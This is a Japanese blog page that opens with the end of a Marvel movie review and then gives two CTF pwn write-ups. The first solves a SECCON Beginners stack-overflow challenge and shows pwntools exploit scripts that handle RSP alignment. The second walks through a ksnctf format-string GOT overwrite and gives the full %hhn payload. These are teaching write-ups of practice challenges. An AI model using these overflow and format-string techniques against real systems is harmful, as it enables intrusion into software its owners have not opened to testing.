Shang-Chiと今作のNWH、そしてストレンジ2の予告を見て感じることとして、ウォンがかなりキーマンになっているということ。アベンジャーズのメンバー収集をフューリーではなくウォンが行っている姿や、ストレンジがパッチンで消えている間に至高の魔術師となっている以上、彼の動きは今後のMCUの核となってきそう。
今後のまとめ
Shang-Chiのポストクレジットでは、バナーが「Welcome to the "CIRCUS"」と発言していて、何かしらのプロジェクトが裏で動いていることはわかっている。先日DisneyPlusで公開されたSheHulkの映像では、バナーは地球にいるように見えた。同映像ではMoon KnightとMs.Marvel、加えてSecret Invasionのロゴの後には左目が青くなったフューリーが登場していて、もう最高に今後が楽しみ。Eternalsのポストクレジットではサノスの弟のエロス、エンドクレジットでは、Black Knightであるウィットマンが登場しており、最後の声はドラマ制作が決定しているBLADEであることがわかっている。未だかつてないほどに同時並行で様々な出来事が進行しているMCUだが、その中でもかなり重要な役割を果たす「マルチバース」について、5月のMultiverse of Madnessでどうまとめるのか気になるところ。ちなみにこの作品はトビー版スパイダーマンを手がけたサム・ライミが監督を務めている。
今作はキャストと演出が神。SONYとMarvelが手を組んでくれて本当に嬉しい。ありがとう。SSU(Sony's Spider-Man Universe)が今後MCUとどう関わるかも注目したい。すでにモービウスではHome Comingのヴァルチャーが予告で登場しているので、こちらも楽しみ。
2022年のスタートとしてはこの上ない映画だったので、今年もMCUを生きがいにいい感じに生きていきます。お疲れ様でした。
Pwnにおけるスタックのアライメント
(2022/1/17)Qiitaからhatenaに移行しました。
Beginner's Stack
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffd3416a8f0 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007ffd3416a8f8 | 0x0000000000000000 |
+--------------------+
0x00007ffd3416a900 | 0x0000000000400ad0 |
+--------------------+
0x00007ffd3416a908 | 0x00007f1ce972d190 |
+--------------------+
0x00007ffd3416a910 | 0x00007ffd3416a920 | <-- saved rbp (vuln)
+--------------------+
0x00007ffd3416a918 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffd3416a920 | 0x0000000000000000 | <-- saved rbp (main)
+--------------------+
0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main)
+--------------------+
0x00007ffd3416a930 | 0x00007f1ce972b620 |
+--------------------+
0x00007ffd3416a938 | 0x00007ffd3416aa18 |
+--------------------+
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[ Address ] [ Stack ]
+--------------------+
0x00007ffd3416a8f0 | 0x4141414141414141 | <-- buf
+--------------------+
0x00007ffd3416a8f8 | 0x4141414141414141 |
+--------------------+
0x00007ffd3416a900 | 0x4141414141414141 |
+--------------------+
0x00007ffd3416a908 | 0x4141414141414141 |
+--------------------+
0x00007ffd3416a910 | 0x4141414141414141 | <-- saved rbp (vuln)
+--------------------+
0x00007ffd3416a918 | 0x4141414141414141 | <-- return address (vuln)
+--------------------+
0x00007ffd3416a920 | 0x000000000000000a | <-- saved rbp (main)
+--------------------+
0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main)
+--------------------+
0x00007ffd3416a930 | 0x00007f1ce972b620 |
+--------------------+
0x00007ffd3416a938 | 0x00007ffd3416aa18 |
+--------------------+
Segmentation fault (コアダンプ)
典型的なスタックオーバーフローです。冒頭に書かれているように、0x400861にあるwin関数を呼び出せればflagが得られます。入力前後のスタックの状態が図示されており、"vuln"のリターンアドレスが意味のない場所に参照されるとSegmentation faultで落ちます。なので、ダミー40文字+"win"のアドレスを入力することで"vuln"のリターンアドレスを書き換えます。しかし実行すると
$ python2 -c 'print "A" * 40 + "\x61\x08\x40\x00\x00\x00\x00\x00"' | ./chall 〜中略〜 Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
と言われます。RSPがずれているそうです。ここで必要なのがアラインメントです。
スタックのアラインメント
x86-64 モード用の呼び出し規約では,浮動小数点数の受け渡しは XMM0 などのレジスタを用います. メモリと XMM0 系のレジスタ間で値を転送する命令(MOVAPS や MOVAPD など)は,メモリ上の値が 16 バイト境界に配置されていることを要求します. コンパイラは,関数呼び出し時のスタックポインタが 16 バイト整列されていることを前提に,MOVAPS や MOVPAD 命令を発行します. また,他の関数を呼び出すときには必ずスタックポインタが 16 バイト整列するように調整する責任があります. 参照:https://uchan.hateblo.jp/entry/2018/02/16/232029
つまり何が言いたいかというと、コンパイラは関数を呼び出すときにスタックポインタが16(0x10)の倍数のアドレスに調整されているため、Pwnにおいてスタックを書き換えるときも同様に調節する必要があるということです。MOVAPS命令はsystem関数等の動作に影響するため、このままではシェルが起動できません。参照しているuchanさんのブログの"スタックのアライメントの実例"に詳しく書かれています。
ここではBeginner's StackにおけるRSPのアラインを考えていきます。
0000000000400861 <win>: 400861: 55 push rbp 400862: 48 89 e5 mov rbp,rsp 400865: 48 83 ec 10 sub rsp,0x10 400869: 48 89 e0 mov rax,rsp
これはwin関数の頭の部分の処理です。rbpがpushされた後にsub rsp,0x10されています。(※図のアドレスは適当です)

本来callによってwin関数のリターンアドレスが積まれるはずが、retで呼ばれているため積まれず、rspが8byteずれていることがわかります。これの回避の仕方は以下の2通りです。(※図のアドレスは適当です)
ret gadgetを使う
1つは、適当なret gadgetを挟む方法です。ret gadgetを使ってそろえます。 まずret gadgetを探します。
gdb-peda$ ropgadget ret = 0x400626 popret = 0x400728 addesp_8 = 0x400623
0x400626にret gadgetがあることがわかりました。retq命令はrspのメモリアドレスの値をripに格納し、rspをインクリメントします。
400626: c3 retq
exploitコードは以下です。
from pwn import * context(os="linux" , arch="i386") conn = remote('bs.quals.beginners.seccon.jp',9001) payload = "" payload += "A" * 40 payload += p64(0x400626) payload += p64(0x400861) conn.sendline(payload) conn.interactive()
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
push rbpを飛ばす
2つめはpush rbpの後に飛ばす方法です。0x400861のpush rbpを飛ばすことでリターンアドレス分の8byteをそろえることができます。

push rbpの次からなので、0x400862をリターンアドレスにします。このときはret gadgetはいりません。exploitコードは以下です。
from pwn import * context(os="linux" , arch="i386") conn = remote('bs.quals.beginners.seccon.jp',9001) payload = "" payload += "A" * 40 payload += p64(0x400862) conn.sendline(payload) conn.interactive()
こちらでも同様にflagがとれました。
Format String AttackによるGOT overwrite
(2022/1/17)Qiitaからhatenaに移行しました。
GOTとは
GOT(Global Offset Table)とは、共有ライブラリのシンボルが参照されている領域です。ELFではPLT(Procedure Linkage Table)からGOTにジャンプし、共有ライブラリを参照しています。ライブラリ関数を管理している領域みたいなイメージだと思います。
参照 https://tkmr.hatenablog.com/entry/2017/02/28/030528 https://qiita.com/saikoro-steak/items/f9bf534f8fc5f2be3b0e
format string attackによるGOT overwrite
ここでは、ksnctfのVillager A(村人A)を使って説明していきます。 https://ksnctf.sweetduet.info/problem/4
format string attack
Villager Aで与えられる実行ファイルはformat string attackの脆弱性があります。 format string attack(書式文字列攻撃)とは、printf()、sprintf()などの関数が持つ脆弱性で、ユーザーが入力した文字列がそのまま出力される場合に可能となります。
char str[128]; fgets(str, 128, stdin); printf(str);
このような場合に、フォーマット指定子である%p、%xなどを入力することでスタックのデータを読み出すことができる脆弱性です。Villager Aでは以下のような結果になります。
[q4@localhost ~]$ ./q4 What's your name? AAAA,%p,%p,%p,%p,%p,%p,%p Hi, AAAA,0x400,0x3b18c0,0x8,0x14,0x907fc4,0x41414141,0x2c70252c
"0x400"以降はスタックの値が読み出されています。ここで、ユーザーが入力した文字列が6番目の0x41414141(AAAA)、7番目の0x2c70252c(,%p,)に読み出されていることがわかりますね。この脆弱性を使い、GOT overwriteを行うことで、メモリアドレスの書き換えを行います。
攻撃の下調べ
村人Aの実行ファイル'q4'は、fopen関数がflag.txtを実行してflagを得る構造になっていますが、callされる直前にjne命令によって回避されています。よって、fopen関数を呼び出せるようにメモリアドレスを書き換えれば、flagをゲットできるということになります。 今回は、puts関数を使ってexploitします。putcharなどの関数でも可能です。
080485b4 <main>: 80485b4: 55 push ebp 80485b5: 89 e5 mov ebp,esp 80485b7: 83 e4 f0 and esp,0xfffffff0 80485ba: 81 ec 20 04 00 00 sub esp,0x420 80485c0: c7 04 24 a4 87 04 08 mov DWORD PTR [esp],0x80487a4 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov eax,ds:0x8049a04 80485d1: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80485d5: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80485dc: 00 80485dd: 8d 44 24 18 lea eax,[esp+0x18] 80485e1: 89 04 24 mov DWORD PTR [esp],eax 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 mov DWORD PTR [esp],0x80487b6 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea eax,[esp+0x18] 80485f9: 89 04 24 mov DWORD PTR [esp],eax 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 mov DWORD PTR [esp+0x418],0x1 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 mov DWORD PTR [esp],0x80487bb 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov eax,ds:0x8049a04 804862b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 804862f: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 8048636: 00 8048637: 8d 44 24 18 lea eax,[esp+0x18] 804863b: 89 04 24 mov DWORD PTR [esp],eax 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test eax,eax 8048645: 0f 94 c0 sete al 8048648: 84 c0 test al,al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov eax,0x0 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 mov DWORD PTR [esp+0x4],0x80487d1 804865d: 08 804865e: 8d 44 24 18 lea eax,[esp+0x18] 8048662: 89 04 24 mov DWORD PTR [esp],eax 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test eax,eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 mov DWORD PTR [esp],0x80487d5 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov eax,0x0 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418] 8048688: 85 c0 test eax,eax 804868a: 0f 95 c0 setne al 804868d: 84 c0 test al,al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6 8048698: 08 8048699: c7 04 24 e8 87 04 08 mov DWORD PTR [esp],0x80487e8 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov DWORD PTR [esp+0x41c],eax 80486ac: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c] 80486b3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80486b7: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80486be: 00 80486bf: 8d 44 24 18 lea eax,[esp+0x18] 80486c3: 89 04 24 mov DWORD PTR [esp],eax 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea eax,[esp+0x18] 80486cf: 89 04 24 mov DWORD PTR [esp],eax 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov eax,0x0 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
080484c4 <puts@plt>: 80484c4: ff 25 f4 99 04 08 jmp DWORD PTR ds:0x80499f4 80484ca: 68 30 00 00 00 push 0x30 80484cf: e9 80 ff ff ff jmp 8048454 <_init+0x30>
GOT領域のアドレスは、objdumpなどの逆アセンブラでも確認できますが、readelfコマンドでも同様に調べることができます。
[q4@localhost ~]$ readelf -r q4 Relocation section '.rel.dyn' at offset 0x3cc contains 2 entries: Offset Info Type Sym.Value Sym. Name 080499cc 00000106 R_386_GLOB_DAT 00000000 __gmon_start__ 08049a04 00000b05 R_386_COPY 08049a04 stdin Relocation section '.rel.plt' at offset 0x3dc contains 9 entries: Offset Info Type Sym.Value Sym. Name 080499dc 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__ 080499e0 00000307 R_386_JUMP_SLOT 00000000 putchar 080499e4 00000407 R_386_JUMP_SLOT 00000000 fgets 080499e8 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main 080499ec 00000607 R_386_JUMP_SLOT 00000000 fopen 080499f0 00000707 R_386_JUMP_SLOT 00000000 printf 080499f4 00000807 R_386_JUMP_SLOT 00000000 puts 080499f8 00000c07 R_386_JUMP_SLOT 080484d4 __gxx_personality_v0 080499fc 00000907 R_386_JUMP_SLOT 00000000 strcmp
puts関数のアドレスが0x80499f4に書き込まれることがわかります。よって0x80499f4をfopen関数の処理が始まる0x8048691に書き換えればよいということになります。
Exploit
メモリの書き込みには、%n系と呼ばれるフォーマット指定子を使います。この指定子は、指定したスタックに出力バイト数を書き込んでくれます。指定子の間に数字と$を入れることで、char型で何番目のスタックに書き込むか指定することができます(%5$nなど)。%n系には以下のような種類があります。
| フォーマット指定子 | 書き込みバイト数 |
|---|---|
| %n | 4 |
| %hn | 2 |
| %hhn | 1 |
[q4@localhost ~]$ echo 'AAAA%6$hhn' | ./q4
この場合、スタックの6番目に0x41414141(AAAA)が格納され、0x41414141番地にAAAAの出力バイト数"4"が格納されます。つまり、'AAAA'の部分に書き込むアドレスと格納したい値をうまく調節してprinf関数に出力させれば、処理を自由に操れるということです。
今回は、先述したように0x80499f4(puts関数が書き込まれるGOT領域のアドレス)を0x8048691(fopen関数の処理が始まるアドレス)に書き換えます。結論から言うと、以下のような文字列になります。
[q4@localhost ~]$ echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
考え方

文字列の冒頭(図の赤字)の部分では、書き込み先の番地を書き込んでいます。この実行ファイルは32bitのELFのため、書き込み先の番地に格納するアドレスは32bitとなります。なので、書き込み先の番地は0x80499f4〜0x80499f7に1byteずつ格納していきます。それぞれの番地と値は以下のようになります(図参照)。このときリトルエンディアンに注意してください。
| 書き込み先の番地 | 格納する値 |
|---|---|
| 0x80499f4 | 0x91 |
| 0x80499f5 | 0x86 |
| 0x80499f6 | 0x04 |
| 0x80499f7 | 0x08 |
続いて、それぞれの番地に格納したい値を調節して出力させていきます。調節には、%cという指定したバイト数だけ出力してくれるフォーマット指定子を使います。
はじめに、0x80499f4番地に0x91(145)を格納します。赤字の部分で既に16byte出力されているので、145(0x91の10進数)から16を引いた129byte分を%cで補います。ユーザーが出力した文字列が6番目のスタックから読み出されるため、%129c%6$hhnとなります。
次に0x80499f5番地に0x86(134)を格納しますが、ここで注意が必要です。既に145byte出力しているのに対して、それより下の値を書き込まなければなりません。この場合、256byte(0x100)をまたぐことで問題が解消されます。%hhnは1byteずつ書き込む指定子のため、値の下位8bit(下2桁)しか書き込みません。256をまたぐことで16進数の桁が上がり、下2桁が00から始まるため、格納したい値が既に出力した値よりも低い場合でも、256を一区切りとして調節すればいいことになります。
以上を踏まえると、256から145を引いた値に134を足すことで、0x186となり下位2桁の0x86を書き込めます。よって%245c%7$hhnとなります。
あとの2つも同様に計算することで(図参照)GOT領域のアドレスに任意の値を格納することができます。
以上がformat string attackによるGOT overwriteの説明でした。
まとめ
村人Aを解いたのは半年以上前ですが、なぜ256を超えなければいけなのか当時1週間くらい理解できなかったのを覚えています。これはハリネズミ本にも書かれている入門テクニックなのでPwnを始めたばかりの私にとってはきちんと理解しておくべき内容でした。
@k-onishi さんのhttps://qiita.com/k-onishi/items/9cf7fc49107e6ff61115 にもほぼ同じ内容で詳しく書かれているので、こちらの記事もおすすめです。
お疲れ様でした。